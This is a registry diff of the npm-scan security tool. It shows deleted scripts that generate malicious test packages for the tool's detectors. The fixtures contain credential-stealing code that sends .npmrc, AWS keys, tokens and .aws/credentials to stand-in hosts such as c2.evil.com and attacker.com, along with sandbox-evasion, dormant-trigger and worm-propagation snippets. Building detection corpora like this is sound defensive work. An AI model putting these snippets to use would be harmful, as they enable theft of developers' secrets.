@lateos/npm-scan 0.18.2 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +265 -233
- package/LICENSING.md +19 -19
- package/README.de.md +708 -708
- package/README.fr.md +707 -707
- package/README.ja.md +704 -704
- package/README.md +861 -826
- package/README.zh.md +708 -708
- package/VALIDATION.md +92 -0
- package/backend/cra.js +68 -68
- package/backend/db/pg-schema.sql +155 -0
- package/backend/db/schema.sql +32 -32
- package/backend/db.js +88 -88
- package/backend/detectors/atk-001-lifecycle.js +17 -17
- package/backend/detectors/atk-002-obfusc.js +261 -261
- package/backend/detectors/atk-003-creds.js +13 -13
- package/backend/detectors/atk-004-persist.js +13 -13
- package/backend/detectors/atk-005-exfil.js +13 -13
- package/backend/detectors/atk-006-depconf.js +14 -14
- package/backend/detectors/atk-007-typosquat.js +34 -34
- package/backend/detectors/atk-008-tarball-tamper.js +91 -91
- package/backend/detectors/atk-009-dormant-trigger.js +62 -62
- package/backend/detectors/atk-010-sandbox-evasion.js +50 -50
- package/backend/detectors/atk-011-transitive-prop.js +76 -76
- package/backend/detectors/config/thresholds.js +66 -0
- package/backend/detectors/config/whitelist.json +74 -0
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +99 -99
- package/backend/detectors/cve-2026-48710-badhost/findings.js +105 -105
- package/backend/detectors/cve-2026-48710-badhost/index.js +15 -15
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +305 -305
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +189 -189
- package/backend/detectors/hf-impersonation/index.js +396 -396
- package/backend/detectors/hf-impersonation/jaro-winkler.js +44 -44
- package/backend/detectors/hf-impersonation/known-orgs.js +5 -5
- package/backend/detectors/hf-impersonation/simhash.js +46 -46
- package/backend/detectors/index.js +87 -81
- package/backend/detectors/lib/ast-patterns.js +21 -0
- package/backend/detectors/lib/entropy-analyzer.js +24 -0
- package/backend/detectors/megalodon/d1-workflow-scan.js +147 -147
- package/backend/detectors/megalodon/d2-credential-harvest.js +61 -61
- package/backend/detectors/megalodon/d3-publish-velocity.js +67 -67
- package/backend/detectors/megalodon/d4-publisher-drift.js +124 -124
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +3 -3
- package/backend/detectors/megalodon/d6-date-anachronism.js +3 -3
- package/backend/detectors/megalodon/index.js +80 -80
- package/backend/detectors/megalodon/types.js +9 -9
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +42 -42
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +116 -116
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +72 -72
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +45 -45
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +95 -95
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +38 -38
- package/backend/detectors/mini-shai-hulud/index.js +118 -118
- package/backend/detectors/mini-shai-hulud/iocs.json +79 -79
- package/backend/detectors/tier1-binary-embed.js +34 -5
- package/backend/detectors/tier1-obfuscation-heuristics.js +156 -0
- package/backend/detectors/tier1-slsa-attestation.js +12 -0
- package/backend/detectors/tier1-version-anomaly.js +187 -0
- package/backend/detectors.test.js +88 -0
- package/backend/fetch.js +175 -175
- package/backend/index.js +4 -4
- package/backend/license.js +89 -89
- package/backend/lockfile.js +379 -379
- package/backend/pdf.js +245 -245
- package/backend/policy.js +193 -193
- package/backend/report.js +254 -254
- package/backend/sbom.js +66 -66
- package/backend/scripts/analyze-false-positives.js +146 -0
- package/backend/scripts/analyze-validation.js +151 -0
- package/backend/scripts/detect-false-positives.js +93 -0
- package/backend/scripts/fetch-top-packages.js +129 -0
- package/backend/scripts/validate-detectors.js +142 -0
- package/backend/siem/cef.js +32 -32
- package/backend/siem/ecs.js +40 -40
- package/backend/siem/index.js +18 -18
- package/backend/siem/qradar.js +56 -56
- package/backend/siem/sentinel.js +27 -27
- package/backend/tests-d5-enhanced.test.js +46 -0
- package/backend/tests-d6-version-anomaly.test.js +58 -0
- package/backend/tests-d6.test.js +116 -0
- package/backend/tests-d6c.test.js +106 -0
- package/backend/tests-d7-obfuscation.test.js +91 -0
- package/backend/tests.test.js +898 -0
- package/backend/vsix-scan/detectors/activation-event-risk.js +116 -116
- package/backend/vsix-scan/detectors/burst-publish.js +52 -52
- package/backend/vsix-scan/detectors/exfil-pattern.js +88 -88
- package/backend/vsix-scan/detectors/known-ioc.js +105 -105
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +69 -69
- package/backend/vsix-scan/detectors/publisher-anomaly.js +70 -70
- package/backend/vsix-scan/index.js +183 -183
- package/backend/vsix-scan/marketplace-client.js +145 -145
- package/backend/vsix-scan/vsix-iocs.json +31 -31
- package/cli/cli.js +458 -458
- package/package.json +74 -57
- package/.dockerignore +0 -20
- package/.husky/pre-commit +0 -1
- package/SECURITY.md +0 -73
- package/deploy/helm/npm-scan/Chart.yaml +0 -22
- package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
- package/deploy/helm/npm-scan/templates/api.yaml +0 -94
- package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
- package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
- package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
- package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
- package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
- package/deploy/helm/npm-scan/values.yaml +0 -103
- package/scripts/download-corpus.js +0 -30
- package/scripts/gen-mal-corpus.js +0 -35
- package/scripts/generate-campaign-fixtures.js +0 -170
- package/src/config/top-5000.json +0 -87
- package/test/fixtures/lockfiles/npm-lock.json +0 -69
- package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
- package/test/fixtures/lockfiles/yarn.lock +0 -104
- package/test/fixtures/mock-data.js +0 -69
|
@@ -1,30 +0,0 @@
|
|
|
1
|
-
import fetch from 'node-fetch';
|
|
2
|
-
import { writeFileSync, existsSync } from 'fs';
|
|
3
|
-
|
|
4
|
-
const TOP_PKGS = [
|
|
5
|
-
'lodash', 'chalk', 'react', 'axios', 'express',
|
|
6
|
-
'tslib', 'commander', 'typescript', 'vue', 'next',
|
|
7
|
-
'yargs', 'debug', 'moment', 'uuid', 'semver',
|
|
8
|
-
'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
|
|
9
|
-
'underscore', 'request', 'async', 'cheerio', 'bluebird',
|
|
10
|
-
'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
|
|
11
|
-
'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
|
|
12
|
-
'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
|
|
13
|
-
'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
|
|
14
|
-
'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
|
|
15
|
-
];
|
|
16
|
-
|
|
17
|
-
for (const pkg of TOP_PKGS) {
|
|
18
|
-
const file = `tests/corpus/clean/${pkg}.tgz`;
|
|
19
|
-
if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
|
|
20
|
-
try {
|
|
21
|
-
const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
|
|
22
|
-
const meta = await res.json();
|
|
23
|
-
const tarRes = await fetch(meta.dist.tarball);
|
|
24
|
-
const buf = Buffer.from(await tarRes.arrayBuffer());
|
|
25
|
-
writeFileSync(file, buf);
|
|
26
|
-
console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
|
|
27
|
-
} catch (e) {
|
|
28
|
-
console.log(`FAIL ${pkg}: ${e.message}`);
|
|
29
|
-
}
|
|
30
|
-
}
|
|
@@ -1,35 +0,0 @@
|
|
|
1
|
-
import { execSync } from 'child_process';
|
|
2
|
-
import { writeFileSync, mkdirSync, rmSync } from 'fs';
|
|
3
|
-
import { join } from 'path';
|
|
4
|
-
|
|
5
|
-
const BASE = '/tmp/npm-scan-mal';
|
|
6
|
-
|
|
7
|
-
const MALS = [
|
|
8
|
-
{ name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
|
|
9
|
-
{ name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
|
|
10
|
-
{ name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
|
|
11
|
-
{ name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
|
|
12
|
-
{ name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
|
|
13
|
-
{ name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
|
|
14
|
-
{ name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
|
|
15
|
-
{ name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
|
|
16
|
-
{ name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
|
|
17
|
-
{ name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
|
|
18
|
-
{ name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
|
|
19
|
-
{ name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
|
|
20
|
-
{ name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
|
|
21
|
-
];
|
|
22
|
-
|
|
23
|
-
for (const mal of MALS) {
|
|
24
|
-
const dir = join(BASE, mal.name);
|
|
25
|
-
rmSync(dir, { recursive: true, force: true });
|
|
26
|
-
mkdirSync(dir, { recursive: true });
|
|
27
|
-
writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
|
|
28
|
-
if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
|
|
29
|
-
execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
|
|
30
|
-
console.log(`OK ${mal.name}`);
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
console.log('All mal corpus entries generated.');
|
|
34
|
-
console.log('Total:', MALS.length);
|
|
35
|
-
console.log('New entries: tamper-1, tamper-2, dormant-1, dormant-2, dormant-3, evasion-1, evasion-2, evasion-3');
|
|
@@ -1,170 +0,0 @@
|
|
|
1
|
-
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'fs';
|
|
2
|
-
import { execSync } from 'child_process';
|
|
3
|
-
import { tmpdir } from 'os';
|
|
4
|
-
import { join } from 'path';
|
|
5
|
-
import { fileURLToPath } from 'url';
|
|
6
|
-
import { dirname } from 'path';
|
|
7
|
-
|
|
8
|
-
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
9
|
-
const CORPUS_DIR = join(__dirname, '..', 'tests', 'corpus', 'malicious');
|
|
10
|
-
|
|
11
|
-
const TOP_TYPOS = [
|
|
12
|
-
'reacct', 'expres', 'axiox', 'chlak', 'vuue', 'typescrip',
|
|
13
|
-
'momnet', 'uuuid', 'commnder', 'debuge', 'semverr', 'underscoree',
|
|
14
|
-
'requesst', 'asycn',
|
|
15
|
-
];
|
|
16
|
-
|
|
17
|
-
const BINARY_NAMES = ['bun', 'deno', 'go', 'rustc', 'python'];
|
|
18
|
-
|
|
19
|
-
function writeFile(filePath, content) {
|
|
20
|
-
writeFileSync(filePath, content, 'utf8');
|
|
21
|
-
}
|
|
22
|
-
|
|
23
|
-
function createElfBinary(size = 4096) {
|
|
24
|
-
const buf = Buffer.alloc(size, 0);
|
|
25
|
-
buf[0] = 0x7f;
|
|
26
|
-
buf[1] = 0x45;
|
|
27
|
-
buf[2] = 0x4c;
|
|
28
|
-
buf[3] = 0x46;
|
|
29
|
-
buf[4] = 2;
|
|
30
|
-
buf[5] = 1;
|
|
31
|
-
buf[6] = 1;
|
|
32
|
-
buf[7] = 0;
|
|
33
|
-
return buf;
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
function createPeBinary(size = 4096) {
|
|
37
|
-
const buf = Buffer.alloc(size, 0);
|
|
38
|
-
buf[0] = 0x4d;
|
|
39
|
-
buf[1] = 0x5a;
|
|
40
|
-
return buf;
|
|
41
|
-
}
|
|
42
|
-
|
|
43
|
-
function buildTarball(dir, tmpParent) {
|
|
44
|
-
const tgzPath = join(CORPUS_DIR, `${dir}.tgz`);
|
|
45
|
-
execSync(`tar czf "${tgzPath}" -C "${tmpParent}" "${dir}"`, { stdio: 'pipe', shell: 'powershell' });
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
function createCampaign1Package(n) {
|
|
49
|
-
const dir = `campaign-1-${String(n).padStart(3, '0')}`;
|
|
50
|
-
const pkgJson = {
|
|
51
|
-
name: `vulnerable-package-${n}`,
|
|
52
|
-
version: '99.0.0',
|
|
53
|
-
description: 'Campaign 1 test fixture',
|
|
54
|
-
repository: { url: 'https://github.enterprise.internal/org/repo' },
|
|
55
|
-
homepage: 'https://jira.internal/browse/PROJ-123',
|
|
56
|
-
bugs: { url: 'https://docs.internal/issues' },
|
|
57
|
-
scripts: {
|
|
58
|
-
postinstall: 'node -e "eval(Buffer.from(\'dmFyIHggPSAx\' ,\'base64\').toString())"',
|
|
59
|
-
},
|
|
60
|
-
};
|
|
61
|
-
|
|
62
|
-
const distIndexJs = `(function() {
|
|
63
|
-
const os = require('os');
|
|
64
|
-
const env = process.env;
|
|
65
|
-
const profile = {
|
|
66
|
-
hostname: os.hostname(),
|
|
67
|
-
platform: os.platform(),
|
|
68
|
-
arch: os.arch(),
|
|
69
|
-
env: { AWS_ACCESS_KEY_ID: env.AWS_ACCESS_KEY_ID }
|
|
70
|
-
};
|
|
71
|
-
console.log('[RECON]', JSON.stringify(profile));
|
|
72
|
-
})();`;
|
|
73
|
-
|
|
74
|
-
const tmpParent = mkdtempSync(join(tmpdir(), 'camp1-'));
|
|
75
|
-
const pkgDir = join(tmpParent, dir);
|
|
76
|
-
mkdirSync(join(pkgDir, 'dist'), { recursive: true });
|
|
77
|
-
writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
|
|
78
|
-
writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
|
|
79
|
-
|
|
80
|
-
buildTarball(dir, tmpParent);
|
|
81
|
-
rmSync(tmpParent, { recursive: true, force: true });
|
|
82
|
-
console.log(` Created ${dir}.tgz`);
|
|
83
|
-
}
|
|
84
|
-
|
|
85
|
-
function createCampaign2Package(n) {
|
|
86
|
-
const dir = `campaign-2-${String(n).padStart(3, '0')}`;
|
|
87
|
-
const typoName = TOP_TYPOS[(n - 1) % TOP_TYPOS.length];
|
|
88
|
-
const binName = BINARY_NAMES[(n - 1) % BINARY_NAMES.length];
|
|
89
|
-
|
|
90
|
-
const pkgJson = {
|
|
91
|
-
name: typoName,
|
|
92
|
-
version: '1.0.0',
|
|
93
|
-
description: 'Test fixture',
|
|
94
|
-
};
|
|
95
|
-
|
|
96
|
-
const distIndexJs = `const fs = require('fs');
|
|
97
|
-
const { execSync } = require('child_process');
|
|
98
|
-
const awsKey = process.env.AWS_ACCESS_KEY_ID;
|
|
99
|
-
const npmToken = process.env.NODE_AUTH_TOKEN;
|
|
100
|
-
const data = fs.readFileSync('/etc/passwd', 'utf8');
|
|
101
|
-
if (awsKey || npmToken) {
|
|
102
|
-
fetch('https://attacker.com/creds', {
|
|
103
|
-
method: 'POST',
|
|
104
|
-
body: JSON.stringify({ awsKey, npmToken, data })
|
|
105
|
-
});
|
|
106
|
-
}`;
|
|
107
|
-
|
|
108
|
-
const tmpParent = mkdtempSync(join(tmpdir(), 'camp2-'));
|
|
109
|
-
const pkgDir = join(tmpParent, dir);
|
|
110
|
-
mkdirSync(join(pkgDir, 'dist'), { recursive: true });
|
|
111
|
-
mkdirSync(join(pkgDir, 'bin'), { recursive: true });
|
|
112
|
-
writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
|
|
113
|
-
writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
|
|
114
|
-
|
|
115
|
-
writeFileSync(join(pkgDir, 'bin', binName), createElfBinary(32768));
|
|
116
|
-
writeFileSync(join(pkgDir, 'bin', `${binName}.exe`), createPeBinary(32768));
|
|
117
|
-
|
|
118
|
-
buildTarball(dir, tmpParent);
|
|
119
|
-
rmSync(tmpParent, { recursive: true, force: true });
|
|
120
|
-
console.log(` Created ${dir}.tgz (typo: ${typoName}, binary: ${binName})`);
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
function createCampaign3Package() {
|
|
124
|
-
const dir = 'campaign-3-infostealer';
|
|
125
|
-
|
|
126
|
-
const pkgJson = {
|
|
127
|
-
name: 'mouse5212-super-formatter',
|
|
128
|
-
version: '1.0.0',
|
|
129
|
-
description: 'Super formatter',
|
|
130
|
-
};
|
|
131
|
-
|
|
132
|
-
const distIndexJs = `const fs = require('fs');
|
|
133
|
-
const { execSync } = require('child_process');
|
|
134
|
-
const secretFiles = ['package.json', '.env', '.npmrc', '.aws/credentials'];
|
|
135
|
-
for (const file of secretFiles) {
|
|
136
|
-
try {
|
|
137
|
-
const content = fs.readFileSync(process.env.HOME + '/' + file, 'utf8');
|
|
138
|
-
const ghToken = 'ghp_stub1234567890abcdefghijklmnopqr';
|
|
139
|
-
const exfilUrl = 'https://api.github.com/repos/attacker/stolen-secrets/contents/data.json';
|
|
140
|
-
execSync('curl -X PUT "' + exfilUrl + '" -H "Authorization: token ' + ghToken + '" -d ' + JSON.stringify(content));
|
|
141
|
-
} catch (e) {
|
|
142
|
-
}
|
|
143
|
-
}`;
|
|
144
|
-
|
|
145
|
-
const tmpParent = mkdtempSync(join(tmpdir(), 'camp3-'));
|
|
146
|
-
const pkgDir = join(tmpParent, dir);
|
|
147
|
-
mkdirSync(join(pkgDir, 'dist'), { recursive: true });
|
|
148
|
-
writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
|
|
149
|
-
writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
|
|
150
|
-
|
|
151
|
-
buildTarball(dir, tmpParent);
|
|
152
|
-
rmSync(tmpParent, { recursive: true, force: true });
|
|
153
|
-
console.log(` Created ${dir}.tgz`);
|
|
154
|
-
}
|
|
155
|
-
|
|
156
|
-
// ─── Generate All Campaigns ─────────────────────────────────────────
|
|
157
|
-
console.log('Generating Campaign 1 (33 packages)...');
|
|
158
|
-
for (let i = 1; i <= 33; i++) {
|
|
159
|
-
createCampaign1Package(i);
|
|
160
|
-
}
|
|
161
|
-
|
|
162
|
-
console.log('Generating Campaign 2 (14 packages)...');
|
|
163
|
-
for (let i = 1; i <= 14; i++) {
|
|
164
|
-
createCampaign2Package(i);
|
|
165
|
-
}
|
|
166
|
-
|
|
167
|
-
console.log('Generating Campaign 3 (1 package)...');
|
|
168
|
-
createCampaign3Package();
|
|
169
|
-
|
|
170
|
-
console.log('\nAll 48 campaign tarballs generated successfully!');
|
package/src/config/top-5000.json
DELETED
|
@@ -1,87 +0,0 @@
|
|
|
1
|
-
[
|
|
2
|
-
"lodash", "react", "express", "axios", "chalk", "vue", "typescript", "moment", "uuid", "commander",
|
|
3
|
-
"debug", "semver", "underscore", "request", "async", "cheerio", "bluebird", "jest", "mocha", "dotenv",
|
|
4
|
-
"glob", "minimist", "body-parser", "cors", "helmet", "jsonwebtoken", "socket.io", "redis", "mongoose", "sequelize",
|
|
5
|
-
"pg", "passport", "nodemailer", "multer", "bcrypt", "winston", "luxon", "dayjs", "rxjs", "redux",
|
|
6
|
-
"react-dom", "next", "nuxt", "angular", "fastify", "hono", "koa", "connect", "vite", "rollup",
|
|
7
|
-
"esbuild", "babel-core", "ramda", "node-fetch", "got", "superagent", "prisma", "typeorm", "vitest", "ava",
|
|
8
|
-
"prettier", "eslint", "stylelint", "ws", "rimraf", "minimatch", "fs-extra", "webpack", "parcel", "gatsby",
|
|
9
|
-
"tslib", "core-js", "regenerator-runtime", "buffer", "class-validator", "class-transformer", "reflect-metadata", "zone.js", "graphql", "apollo-server",
|
|
10
|
-
"express-graphql", "type-graphql", "nexus", "prisma-binding", "graphql-yoga", "apollo-client", "urql", "relay-runtime", "subscriptions-transport-ws", "graphql-subscriptions",
|
|
11
|
-
"graphql-tools", "graphql-tag", "graphql-upload", "dataloader", "envalid", "joi", "yup", "zod", "superstruct", "io-ts",
|
|
12
|
-
"runtypes", "ow", "ajv", "validator", "validatorjs", "validate.js", "indicative", "computed-types", "typebox", "typia",
|
|
13
|
-
"sinon", "chai", "should", "expect", "proxyquire", "nock", "nyc", "istanbul", "c8", "tap",
|
|
14
|
-
"ava", "uvu", "tape", "benchmark", "microbench", "node-fetch", "cross-fetch", "isomorphic-fetch", "ky", "got",
|
|
15
|
-
"undici", "needle", "phin", "wreck", "bent", "make-fetch-happen", "http-proxy-agent", "https-proxy-agent", "socks-proxy-agent", "agent-base",
|
|
16
|
-
"express-session", "cookie-parser", "cookie-session", "csurf", "lusca", "helmet-csp", "hpp", "rate-limiter-flexible", "express-rate-limit", "express-brute",
|
|
17
|
-
"passport-local", "passport-jwt", "passport-oauth2", "passport-http", "passport-google-oauth", "passport-facebook", "passport-github", "passport-twitter", "passport-linkedin", "passport-apple",
|
|
18
|
-
"bcryptjs", "argon2", "scrypt", "password-hash", "hasha", "pbkdf2", "node-forge", "crypto-js", "crypto-random-string", "nanoid",
|
|
19
|
-
"jsonwebtoken", "json5", "fast-json-stable-stringify", "flatted", "serialize-javascript", "javascript-natural-sort", "json-stringify-safe", "json-stable-stringify", "json3", "json-parse-even-better-errors",
|
|
20
|
-
"morgan", "pino", "winston-cloudwatch", "log4js", "bunyan", "signale", "consola", "loglevel", "loglevelnext", "roarr",
|
|
21
|
-
"ora", "listr", "progress", "cli-progress", "cli-spinners", "log-symbols", "log-update", "figures", "ansi-styles", "supports-color",
|
|
22
|
-
"nodemon", "concurrently", "npm-run-all", "parallelshell", "shelljs", "execa", "cross-env", "env-cmd", "dotenv-safe", "dotenv-expand",
|
|
23
|
-
"pm2", "forever", "supervisor", "node-dev", "tsx", "ts-node", "ts-node-dev", "ts-jest", "ts-loader", "typescript-json-schema",
|
|
24
|
-
"eslint-config-airbnb", "eslint-config-prettier", "eslint-plugin-react", "eslint-plugin-vue", "eslint-plugin-import", "eslint-plugin-node", "eslint-plugin-promise", "eslint-plugin-standard", "eslint-plugin-jsx-a11y", "eslint-plugin-jest",
|
|
25
|
-
"prettier-eslint", "pretty-quick", "lint-staged", "husky", "lint-staged", "commitlint", "cz-conventional-changelog", "standard-version", "semantic-release", "release-it",
|
|
26
|
-
"webpack-cli", "webpack-dev-server", "webpack-merge", "webpack-node-externals", "css-loader", "style-loader", "sass-loader", "less-loader", "postcss-loader", "file-loader",
|
|
27
|
-
"url-loader", "html-webpack-plugin", "mini-css-extract-plugin", "terser-webpack-plugin", "optimize-css-assets-webpack-plugin", "clean-webpack-plugin", "copy-webpack-plugin", "define-plugin", "provide-plugin", "ignore-plugin",
|
|
28
|
-
"electron", "electron-builder", "electron-packager", "electron-forge", "nativefier", "nw", "nw-builder", "tauri", "tauri-cli", "wry",
|
|
29
|
-
"puppeteer", "playwright", "playwright-core", "cypress", "selenium-webdriver", "webdriverio", "nightwatch", "testcafe", "protractor", "karma",
|
|
30
|
-
"sharp", "node-canvas", "canvas", "jimp", "gm", "lwip", "pngjs", "jpeg-js", "gif-js", "qrcode",
|
|
31
|
-
"ffmpeg-static", "fluent-ffmpeg", "ffprobe-static", "musicmetadata", "node-id3", "sox-audio", "wav", "speaker", "node-lame", "audiobuffer-to-wav",
|
|
32
|
-
"chromium", "chrome-launcher", "chrome-aws-lambda", "puppeteer-extra", "puppeteer-extra-plugin-stealth", "playwright-extra", "puppeteer-cluster", "puppeteer-core", "playwright-firefox", "playwright-webkit",
|
|
33
|
-
"react-scripts", "create-react-app", "react-dev-utils", "react-error-overlay", "react-refresh", "react-hot-loader", "react-fast-refresh", "react-app-polyfill", "react-app-rewired", "customize-cra",
|
|
34
|
-
"next", "gatsby", "gatsby-cli", "gatsby-plugin-*", "gridsome", "remix", "remix-run", "blitz", "blitzjs", "redwoodjs",
|
|
35
|
-
"@angular/cli", "@angular/core", "@angular/common", "@angular/compiler", "@angular/platform-browser", "@angular/platform-browser-dynamic", "@angular/forms", "@angular/router", "@angular/http", "@angular/animations",
|
|
36
|
-
"@angular-devkit/core", "@angular-devkit/schematics", "@angular-devkit/build-angular", "@angular-devkit/build-optimizer", "@ngrx/store", "@ngrx/effects", "@ngrx/entity", "@ngrx/store-devtools", "@angular/material", "@angular/cdk",
|
|
37
|
-
"vue-router", "vuex", "vuepress", "vue-cli", "vue-loader", "vue-template-compiler", "vue-server-renderer", "vite", "vitest", "pinia",
|
|
38
|
-
"nuxt", "svelte", "sveltekit", "sapper", "solid-js", "solid-start", "preact", "inferno", "lit", "lit-html",
|
|
39
|
-
"htm", "hono", "alpinejs", "stimulus", "turbolinks", "hotwired-turbo", "hotwired-stimulus", "unpoly", "petite-vue", "qwik",
|
|
40
|
-
"express", "fastify", "hapi", "restify", "micro", "polka", "tinyhttp", "sails", "adonis-framework", "loopback",
|
|
41
|
-
"feathers", "nest", "routing-controllers", "typedi", "inversify", "awilix", "awilix-express", "express-di", "injection-js", "tsyringe",
|
|
42
|
-
"typeorm", "prisma", "drizzle-orm", "knex", "kysely", "better-sqlite3", "sql.js", "sequelize", "bookshelf", "objection",
|
|
43
|
-
"mongoose", "mongodb", "mongodb-memory-server", "mongoose-sequence", "mongoskin", "monk", "realm", "tingodb", "lokijs", "nedb",
|
|
44
|
-
"redis", "ioredis", "redis-commander", "connect-redis", "session-file-store", "connect-mongo", "connect-memcached", "couchbase", "memcached", "leveldown",
|
|
45
|
-
"mysql", "mysql2", "mariasql", "pg-promise", "pg-native", "pg-pool", "sqlite3", "sql.js", "better-sqlite3", "sqlcipher",
|
|
46
|
-
"socket.io", "ws", "uws", "faye-websocket", "sockjs", "socket.io-client", "socket.io-redis", "socket.io-emitter", "socket.io-adapter", "primus",
|
|
47
|
-
"amqplib", "kafkajs", "node-rdkafka", "rhea", "nats", "nats-hemera", "mqtt", "mqemitter", "mosca", "aedes",
|
|
48
|
-
"bull", "bullmq", "bee-queue", "kue", "agenda", "node-cron", "cron", "node-schedule", "later", "bree",
|
|
49
|
-
"handlebars", "mustache", "ejs", "pug", "nunjucks", "liquidjs", "eta", "twig", "marko", "dustjs-linkedin",
|
|
50
|
-
"jsdom", "cheerio", "htmlparser2", "node-html-parser", "parse5", "linkedom", "xmldom", "sax", "node-expat", "libxmljs",
|
|
51
|
-
"marked", "remarkable", "showdown", "markdown-it", "commonmark", "remark", "remark-parse", "remark-stringify", "unified", "rehype",
|
|
52
|
-
"dayjs", "date-fns", "luxon", "moment-timezone", "timeago.js", "ms", "pretty-ms", "pretty-hrtime", "strftime", "dateformat",
|
|
53
|
-
"dotenv", "config", "nconf", "convict", "env-var", "envschema", "envalid", "properties-reader", "ini", "toml",
|
|
54
|
-
"colors", "chalk", "kleur", "colorette", "picocolors", "nanocolors", "ansi-colors", "color-string", "color-convert", "color-name",
|
|
55
|
-
"fs-extra", "graceful-fs", "make-dir", "klaw", "klaw-sync", "readdirp", "watchpack", "chokidar", "fsevents", "micromatch",
|
|
56
|
-
"globby", "fast-glob", "picomatch", "minimatch", "brace-expansion", "ignore", "anymatch", "is-glob", "is-extglob", "normalize-path",
|
|
57
|
-
"archiver", "unzipper", "decompress", "tar", "tar-fs", "tar-stream", "yauzl", "yazl", "adm-zip", "extract-zip",
|
|
58
|
-
"cross-spawn", "spawn-command", "tree-kill", "signal-exit", "ps-tree", "pidtree", "pidusage", "process-exists", "find-process", "fkill",
|
|
59
|
-
"which", "find-up", "locate-path", "pkg-dir", "resolve-from", "import-fresh", "resolve", "resolve-cwd", "pkg-up", "global-prefix",
|
|
60
|
-
"cosmiconfig", "lilconfig", "load-json-file", "parse-json", "json-parse-even-better-errors", "json5", "strip-json-comments", "comment-json", "jsonc-parser", "hjson",
|
|
61
|
-
"zod", "joi", "yup", "superstruct", "io-ts", "runtypes", "ow", "typebox", "typia", "valibot",
|
|
62
|
-
"inquirer", "enquirer", "prompts", "readline-sync", "read", "co-prompt", "cli-interact", "listr2", "node-prompt", "password-prompt",
|
|
63
|
-
"yargs", "yargs-parser", "meow", "arg", "getopts", "mri", "sade", "cac", "clipanion", "command-line-args",
|
|
64
|
-
"ora", "nanospinner", "cli-spinners", "listr", "progress", "cli-progress", "log-update", "log-symbols", "spinnies", "elegant-spinner",
|
|
65
|
-
"boxen", "window-size", "cli-table", "cli-table3", "easy-table", "columnify", "wordwrap", "wrap-ansi", "string-width", "strip-ansi",
|
|
66
|
-
"http-errors", "http-status-codes", "statuses", "boom", "http-assert", "http-response-object", "http-errors", "http-status", "status-code", "http-code",
|
|
67
|
-
